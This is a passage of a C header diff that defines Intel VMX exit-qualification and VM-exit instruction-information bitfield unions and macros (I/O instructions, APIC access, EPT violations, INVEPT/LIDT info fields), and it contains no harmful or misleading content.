>> 4) & 0x01) +#define VMX_EXIT_QUALIFICATION_DIRECTION_MOV_TO_DR 0x00000000 +#define VMX_EXIT_QUALIFICATION_DIRECTION_MOV_FROM_DR 0x00000001 + uint64_t reserved2 : 3; + + /** + * [Bits 11:8] General-purpose register. + */ + uint64_t general_purpose_register : 4; +#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_BIT 8 +#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_FLAG 0xF00 +#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER(_) (((_) >> 8) & 0x0F) + uint64_t reserved3 : 52; + }; + + uint64_t flags; +} vmx_exit_qualification_mov_dr; + +/** + * @brief Exit Qualification for I/O Instructions + */ +typedef union +{ + struct + { + /** + * [Bits 2:0] Size of access. + */ + uint64_t size_of_access : 3; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_BIT 0 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_FLAG 0x07 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_MASK 0x07 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS(_) (((_) >> 0) & 0x07) +#define VMX_EXIT_QUALIFICATION_WIDTH_1_BYTE 0x00000000 +#define VMX_EXIT_QUALIFICATION_WIDTH_2_BYTE 0x00000001 +#define VMX_EXIT_QUALIFICATION_WIDTH_4_BYTE 0x00000003 + + /** + * [Bit 3] Direction of the attempted access (0 = OUT, 1 = IN). + */ + uint64_t direction_of_access : 1; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_BIT 3 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_FLAG 0x08 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS(_) (((_) >> 3) & 0x01) +#define VMX_EXIT_QUALIFICATION_DIRECTION_OUT 0x00000000 +#define VMX_EXIT_QUALIFICATION_DIRECTION_IN 0x00000001 + + /** + * [Bit 4] String instruction (0 = not string; 1 = string). + */ + uint64_t string_instruction : 1; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_BIT 4 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_FLAG 0x10 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION(_) (((_) >> 4) & 0x01) +#define VMX_EXIT_QUALIFICATION_IS_STRING_NOT_STRING 0x00000000 +#define VMX_EXIT_QUALIFICATION_IS_STRING_STRING 0x00000001 + + /** + * [Bit 5] REP prefixed (0 = not REP; 1 = REP). + */ + uint64_t rep_prefixed : 1; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_BIT 5 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_FLAG 0x20 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED(_) (((_) >> 5) & 0x01) +#define VMX_EXIT_QUALIFICATION_IS_REP_NOT_REP 0x00000000 +#define VMX_EXIT_QUALIFICATION_IS_REP_REP 0x00000001 + + /** + * [Bit 6] Operand encoding (0 = DX, 1 = immediate). + */ + uint64_t operand_encoding : 1; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_BIT 6 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_FLAG 0x40 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING(_) (((_) >> 6) & 0x01) +#define VMX_EXIT_QUALIFICATION_ENCODING_DX 0x00000000 +#define VMX_EXIT_QUALIFICATION_ENCODING_IMMEDIATE 0x00000001 + uint64_t reserved1 : 9; + + /** + * [Bits 31:16] Port number (as specified in DX or in an immediate operand). + */ + uint64_t port_number : 16; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_BIT 16 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_FLAG 0xFFFF0000 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_MASK 0xFFFF +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER(_) (((_) >> 16) & 0xFFFF) + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} vmx_exit_qualification_io_instruction; + +/** + * @brief Exit Qualification for APIC-Access VM Exits from Linear Accesses and Guest-Physical Accesses + */ +typedef union +{ + struct + { + /** + * [Bits 11:0] - If the APIC-access VM exit is due to a linear access, the offset of access within the APIC page. + * - Undefined if the APIC-access VM exit is due a guest-physical access. + */ + uint64_t page_offset : 12; +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_BIT 0 +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_FLAG 0xFFF +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_MASK 0xFFF +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET(_) (((_) >> 0) & 0xFFF) + + /** + * [Bits 15:12] Access type. + */ + uint64_t access_type : 4; +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_BIT 12 +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_FLAG 0xF000 +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_MASK 0x0F +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE(_) (((_) >> 12) & 0x0F) + /** + * Linear access for a data read during instruction execution. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_READ 0x00000000 + + /** + * Linear access for a data write during instruction execution. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_WRITE 0x00000001 + + /** + * Linear access for an instruction fetch. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_INSTRUCTION_FETCH 0x00000002 + + /** + * Linear access (read or write) during event delivery. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_EVENT_DELIVERY 0x00000003 + + /** + * Guest-physical access during event delivery. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_PHYSICAL_EVENT_DELIVERY 0x0000000A + + /** + * Guest-physical access for an instruction fetch or during instruction execution. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_PHYSICAL_INSTRUCTION_FETCH 0x0000000F + uint64_t reserved1 : 48; + }; + + uint64_t flags; +} vmx_exit_qualification_apic_access; + +/** + * @brief Exit Qualification for EPT Violations + */ +typedef union +{ + struct + { + /** + * [Bit 0] Set if the access causing the EPT violation was a data read. + */ + uint64_t read_access : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_BIT 0 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_FLAG 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Set if the access causing the EPT violation was a data write. + */ + uint64_t write_access : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_BIT 1 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_FLAG 0x02 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Set if the access causing the EPT violation was an instruction fetch. + */ + uint64_t execute_access : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_BIT 2 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_FLAG 0x04 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] The logical-AND of bit 0 in the EPT paging-structure entries used to translate the guest-physical address of the + * access causing the EPT violation (indicates whether the guest-physical address was readable). + */ + uint64_t ept_readable : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_BIT 3 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_FLAG 0x08 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] The logical-AND of bit 1 in the EPT paging-structure entries used to translate the guest-physical address of the + * access causing the EPT violation (indicates whether the guest-physical address was writeable). + */ + uint64_t ept_writeable : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_BIT 4 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_FLAG 0x10 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] The logical-AND of bit 2 in the EPT paging-structure entries used to translate the guest-physical address of the + * access causing the EPT violation. + * If the "mode-based execute control for EPT" VM-execution control is 0, this indicates whether the guest-physical address + * was executable. If that control is 1, this indicates whether the guest-physical address was executable for + * supervisor-mode linear addresses. + */ + uint64_t ept_executable : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_BIT 5 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FLAG 0x20 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] If the "mode-based execute control" VM-execution control is 0, the value of this bit is undefined. If that + * control is 1, this bit is the logical-AND of bit 10 in the EPT paging-structures entries used to translate the + * guest-physical address of the access causing the EPT violation. In this case, it indicates whether the guest-physical + * address was executable for user-mode linear addresses. + */ + uint64_t ept_executable_for_user_mode : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_BIT 6 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_FLAG 0x40 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Set if the guest linear-address field is valid. The guest linear-address field is valid for all EPT violations + * except those resulting from an attempt to load the guest PDPTEs as part of the execution of the MOV CR instruction. + */ + uint64_t valid_guest_linear_address : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_BIT 7 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_FLAG 0x80 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] If bit 7 is 1: + * - Set if the access causing the EPT violation is to a guest-physical address that is the translation of a linear + * address. + * - Clear if the access causing the EPT violation is to a paging-structure entry as part of a page walk or the update of + * an accessed or dirty bit. + * Reserved if bit 7 is 0 (cleared to 0). + */ + uint64_t caused_by_translation : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_BIT 8 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_FLAG 0x100 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] This bit is 0 if the linear address is a supervisor-mode linear address and 1 if it is a user-mode linear + * address. Otherwise, this bit is undefined. + * + * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If + * CR0.PG = 0, the translation of every linear address is a user-mode linear address and thus this bit will be 1.) + */ + uint64_t user_mode_linear_address : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_BIT 9 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_FLAG 0x200 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] This bit is 0 if paging translates the linear address to a read-only page and 1 if it translates to a + * read/write page. Otherwise, this bit is undefined + * + * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If + * CR0.PG = 0, every linear address is read/write and thus this bit will be 1.) + */ + uint64_t readable_writable_page : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_BIT 10 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_FLAG 0x400 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] This bit is 0 if paging translates the linear address to an executable page and 1 if it translates to an + * execute-disable page. Otherwise, this bit is undefined. + * + * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If + * CR0.PG = 0, CR4.PAE = 0, or IA32_EFER.NXE = 0, every linear address is executable and thus this bit will be 0.) + */ + uint64_t execute_disable_page : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_BIT 11 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_FLAG 0x800 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE(_) (((_) >> 11) & 0x01) + + /** + * [Bit 12] NMI unblocking due to IRET. + */ + uint64_t nmi_unblocking : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_BIT 12 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_FLAG 0x1000 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING(_) (((_) >> 12) & 0x01) + uint64_t reserved1 : 51; + }; + + uint64_t flags; +} vmx_exit_qualification_ept_violation; + +/** + * @} + */ + + /** + * @defgroup vmx_vmexit_instruction_information \ + * Information for VM Exits Due to Instruction Execution + * + * Information for VM Exits Due to Instruction Execution. + * + * @see Vol3C[27.2.4(Information for VM Exits Due to Instruction Execution)] (reference) + * @{ + */ + /** + * @brief VM-Exit Instruction-Information Field as Used for INS and OUTS + */ +typedef union +{ + struct + { + uint64_t reserved1 : 7; + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. + */ + uint64_t address_size : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + uint64_t reserved2 : 5; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. Undefined for VM exits due to execution of INS. + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_BIT 15 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + uint64_t reserved3 : 46; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_ins_outs; + +/** + * @brief VM-Exit Instruction-Information Field as Used for INVEPT, INVPCID, and INVVPID + */ +typedef union +{ + struct + { + /** + * @brief Scaling + * + * [Bits 1:0] 0: no scaling + * 1: scale by 2 + * 2: scale by 4 + * 3: scale by 8 (used only on processors that support Intel 64 architecture) + * Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t scaling : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_BIT 0 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_FLAG 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING(_) (((_) >> 0) & 0x03) + uint64_t reserved1 : 5; + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. + */ + uint64_t address_size : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + uint64_t reserved2 : 5; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. Undefined for VM exits due to execution of INS. + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_BIT 15 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + + /** + * [Bits 21:18] General-purpose register. Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t general_purpose_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_BIT 18 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) + + /** + * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). + */ + uint64_t general_purpose_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) + + /** + * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is + * set). + */ + uint64_t base_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_BIT 23 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_FLAG 0x7800000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER(_) (((_) >> 23) & 0x0F) + + /** + * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). + */ + uint64_t base_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_BIT 27 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_FLAG 0x8000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) + + /** + * [Bits 31:28] Reg2 (same encoding as IndexReg above). + */ + uint64_t register_2 : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_BIT 28 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_FLAG 0xF0000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2(_) (((_) >> 28) & 0x0F) + uint64_t reserved3 : 32; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_invalidate; + +/** + * @brief VM-Exit Instruction-Information Field as Used for LIDT, LGDT, SIDT, or SGDT + */ +typedef union +{ + struct + { + /** + * @brief Scaling + * + * [Bits 1:0] 0: no scaling + * 1: scale by 2 + * 2: scale by 4 + * 3: scale by 8 (used only on processors that support Intel 64 architecture) + * Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t scaling : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_BIT 0 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_FLAG 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING(_) (((_) >> 0) & 0x03) + uint64_t reserved1 : 5; + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. + */ + uint64_t address_size : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + uint64_t reserved2 : 1; + + /** + * @brief Operand size + * + * [Bit 11] 0: 16-bit + * 1: 32-bit + * Undefined for VM exits from 64-bit mode. + */ + uint64_t operand_size : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_BIT 11 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_FLAG 0x800 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE(_) (((_) >> 11) & 0x01) + uint64_t reserved3 : 3; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_BIT 15 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + + /** + * [Bits 21:18] General-purpose register. Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t general_purpose_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_BIT 18 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) + + /** + * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). + */ + uint64_t general_purpose_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) + + /** + * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is + * set). + */ + uint64_t base_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_BIT 23 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_FLAG 0x7800000 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER(_) (((_) >> 23) & 0x0F) + + /** + * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). + */ + uint64_t base_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_BIT 27 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_FLAG 0x8000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) + + /** + * @brief Instruction identity + * + * [Bits 29:28] 0: SGDT + * 1: SIDT + * 2: LGDT + * 3: LIDT + */ + uint64_t instruction : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_BIT 28 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_FLAG 0x30000000 +#define 